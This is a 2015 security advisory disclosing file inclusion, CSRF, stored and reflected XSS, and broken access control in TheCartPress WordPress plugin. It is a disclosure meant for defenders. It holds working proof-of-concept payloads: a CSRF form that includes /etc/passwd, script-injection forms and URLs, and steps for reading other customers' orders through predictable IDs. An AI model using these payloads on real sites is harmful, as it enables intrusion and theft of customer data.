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Multiple Vulnerabilities in TheCartPress WordPress plugin
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Multiple Vulnerabilities in TheCartPress WordPress plugin
- From: High-Tech Bridge Security Research <advisory@xxxxxxxxxxx>
- Date: Wed, 29 Apr 2015 13:23:43 +0200 (CEST)
Advisory ID: HTB23254
Product: TheCartPress WordPress plugin
Vendor: TheCartPress team
Vulnerable Version(s): 1.3.9 and probably prior
Tested Version: 1.3.9
Advisory Publication: April 8, 2015 [without technical details]
Vendor Notification: April 8, 2015
Public Disclosure: April 29, 2015
Vulnerability Type: Cross-Site Scripting [CWE-79], PHP File Inclusion [CWE-98],
Cross-Site Scripting [CWE-79], Improper Access Control [CWE-284]
CVE References: CVE-2015-3301, CVE-2015-3300, CVE-2015-3302
Risk Level: High
CVSSv2 Base Scores: 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C), 5
(AV:N/AC:L/Au:N/C:N/I:P/A:N), 5 (AV:N/AC:L/Au:N/C:N/I:P/A:N), 4.3
(AV:N/AC:M/Au:N/C:N/I:P/A:N)
Discovered and Provided: High-Tech Bridge Security Research Lab (
https://www.htbridge.com/advisory/ )
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Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in
TheCartPress WordPress plugin, which can be exploited to execute arbitrary PHP
code, disclose sensitive data, and perform Cross-Site Scripting attacks against
users of WordPress installations with the vulnerable plugin.
1) Local PHP File Inclusion in TheCartPress WordPress plugin: CVE-2015-3301
Input passed via the "tcp_box_path" HTTP POST parameter passed to
"/wp-admin/admin.php?page=checkout_editor_settings" URL is not properly
verified before being used in PHP 'include()' function, and can be abused to
include arbitrary local files via directory traversal sequences.
In order to successfully exploit the vulnerability an attacker needs to have
administrator privileges on WordPress installation, however this can be also
exploited via CSRF vector to which the script is vulnerable as well.
Simple CSRF exploit below will execute the content of '/etc/passwd' file when a
logged-in administrator will visit a page with it:
<form
action="http://wordpress/wp-admin/admin.php?page=checkout_editor_settings"
method="post" name="main">
<input type="hidden" name="tcp_save_fields" value='1'>
<input type="hidden" name="tcp_box_path" value='../../../../../etc/passwd'>
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>
2) Stored XSS in TheCartPress WordPress plugin: CVE-2015-3300
During the checkout process, many user-supplied HTTP POST parameters (see
complete list in PoC)in "Shipping address" and "Billing address" sections are
not being sanitized before being stored in the local database.
Simple mass-XSS PoC against "Billing address" section (PoC against "Shipping
address" scetion is identical, just replace 'billing_' prefix with 'shipping_')
will write several JS pop-up alerts into the application database:
<form action="http://wordpress/shopping-cart/checkout/" method="post"
name="main">
<input type="hidden" name="selected_billing_id" value='1'>
<input type="hidden" name="selected_billing_address" value='new'>
<input type="hidden" name="billing_firstname"
value='"><script>alert(/immuniweb/);</script>'>
<input type="hidden" name="billing_lastname"
value='"><script>alert(/immuniweb/);</script>'>
<input type="hidden" name="billing_company"
value='"><script>alert(/immuniweb/);</script>'>
<input type="hidden" name="billing_tax_id_number"
value='"><script>alert(/immuniweb/);</script>'>
<input type="hidden" name="billing_country_id" value='AF'>
<input type="hidden" name="billing_region_id" value=''>
<input type="hidden" name="billing_region" value=''>
<input type="hidden" name="billing_city"
value='"><script>alert(/immuniweb/);</script>'>
<input type="hidden" name="billing_street"
value='"><script>alert(/immuniweb/);</script>'>
<input type="hidden" name="billing_street_2"
value='"><script>alert(/immuniweb/);</script>'>
<input type="hidden" name="billing_postcode"
value='"><script>alert(/immuniweb/);</script>'>
<input type="hidden" name="billing_telephone_1"
value='"><script>alert(/immuniweb/);</script>'>
<input type="hidden" name="billing_telephone_2"
value='"><script>alert(/immuniweb/);</script>'>
<input type="hidden" name="billing_fax"
value='"><script>alert(/immuniweb/);</script>'>
<input type="hidden" name="billing_email" value='mail@xxxxxxxx'>
<input type="hidden" name="tcp_continue" value=''>
<input type="hidden" name="tcp_step" value='1'>
<input type="submit" id="btn">
</form>
A non-authenticated attacker may inject malicious HTML and JS code that will be
stored in the application database, and available to any non-authenticated user
on the following URL:
http://wordpress/wp-admin/admin-ajax.php?order_id=[order_id]&action=tcp_print_order
As well as on the following URL accessible to WordPress administrator only:
http://wordpress/wp-admin/admin.php?page=thecartpress/admin/OrdersListTable.php
3) Improper Access Control in TheCartPress WordPress plugin: CVE-2015-3302
Any non-authenticated user may browse orders of other users due to broken
authentication mechanism. To reproduce the vulnerability an attacker shall
first open the following URL:
http://wordpress/shopping-cart/checkout/?tcp_checkout=ok&order_id=[order_id]
And just after open the following URL to see full order details:
http://wordpress/wp-admin/admin-ajax.php?order_id=[order_id]&action=tcp_print_order
Moreover, the order ID can be easily predicted, as every new order ID is an
incremented value of the previous one. This enables non-authenticated remote
attacker to steal all currently-existing orders.
4) Multiple XSS in TheCartPress WordPress plugin (against administrator only):
CVE-2015-3300
4.1 Input passed via the "search_by" GET parameter to
"/wp-admin/admin.php?page=thecartpress/admin/AddressesList.php" is not properly
sanitised before being returned to the user. A remote attacker can trick
logged-in administrator to open a specially crafted link and execute arbitrary
HTML and script code in browser in context of the vulnerable website.
http://wordpress/wp-admin/admin.php?page=thecartpress/admin/AddressesList.php&search_by=--%3E%%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%29;%3C/script%3E
4.2 Input passed via the "address_id", "address_name", "firstname", "lastname",
"street", "city", "postcode", "email" GET parameters to
"/wp-admin/admin.php?page=thecartpress/admin/AddressEdit.php" is not properly
sanitised before being returned to the user. A remote attacker can trick
logged-in administrator to open a specially crafted link and execute arbitrary
HTML and script code in browser in context of the vulnerable website.
http://wordpress/wp-admin/admin.php?page=thecartpress/admin/AddressEdit.php&address_id=%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%29;%3C/script%3E
http://wordpress/wp-admin/admin.php?page=thecartpress/admin/AddressEdit.php&address_name=%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%29;%3C/script%3E
http://wordpress/wp-admin/admin.php?page=thecartpress/admin/AddressEdit.php&firstname=%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%29;%3C/script%3E
http://wordpress/wp-admin/admin.php?page=thecartpress/admin/AddressEdit.php&lastname=%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%29;%3C/script%3E
http://wordpress/wp-admin/admin.php?page=thecartpress/admin/AddressEdit.php&street=%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%29;%3C/script%3E
http://wordpress/wp-admin/admin.php?page=thecartpress/admin/AddressEdit.php&city=%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%29;%3C/script%3E
http://wordpress/wp-admin/admin.php?page=thecartpress/admin/AddressEdit.php&postcode=%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%29;%3C/script%3E
http://wordpress/wp-admin/admin.php?page=thecartpress/admin/AddressEdit.php&email=%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%29;%3C/script%3E
4.3 Input passed via the "post_id" and "rel_type" GET parameters to
"/wp-admin/admin.php?page=thecartpress/admin/AssignedCategoriesList.php" is not
properly sanitised before being returned to the user. A remote attacker can
trick logged-in administrator to open a specially crafted link and execute
arbitrary HTML and script code in browser in context of the vulnerable website.
http://wordpress/wp-admin/admin.php?page=thecartpress/admin/AssignedCategoriesList.php&post_id=%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%29;%3C/script%3E
http://wordpress/wp-admin/admin.php?page=thecartpress/admin/AssignedCategoriesList.php&post_id=1&rel_type=%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%29;%3C/script%3E
4.4 Input passed via the "post_type" GET parameter to
"/wp-admin/admin.php?page=thecartpress/admin/CustomFieldsList.php" is not
properly sanitised before being returned to the user. A remote attacker can
trick logged-in administrator to open a specially crafted link and execute
arbitrary HTML and script code in browser in context of the vulnerable website.
http://wordpress/wp-admin/admin.php?page=thecartpress/admin/CustomFieldsList.php&post_type=1--%3E%27%22%3E%3Cscript%3Ealert%28%27immuniweb%27%29;%3C/script%3E
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Solution:
2015-04-08 Vendor Alerted via emails.
2015-04-17 Vendor Alerted via contact form and emails.
2015-04-17 Vendor Alerted via WordPress Support Forums.
2015-04-27 Fix Requested via emails.
2015-04-29 Public disclosure.
Currently we are not aware of any official solution for this vulnerability.
According to the vendor the plugin will not be supported anymore since 1st of
June 2015: http://thecartpress.com/extend/important-note-nota-importante/
We recommend disabling or removing the vulnerable plugin as a workaround.
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References:
[1] High-Tech Bridge Advisory HTB23254 -
https://www.htbridge.com/advisory/HTB23254 - Multiple vulnerabilities in
TheCartPress Wordpress plugin.
[2] TheCartPress Wordpress plugin- http://thecartpress.com/ - Professional
WordPress eCommerce Plugin. Use it as Shopping Cart, Catalog or Framework.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ -
international in scope and free for public use, CVE® is a dictionary of
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to
developers and security practitioners, CWE is a formal list of software
weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual
web application penetration test and cutting-edge vulnerability scanner
available online via a Software-as-a-Service (SaaS) model.
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Disclaimer: The information provided in this Advisory is provided "as is" and
without any warranty of any kind. Details of this Advisory may be updated in
order to provide as accurate information as possible. The latest version of the
Advisory is available on web page [1] in the References.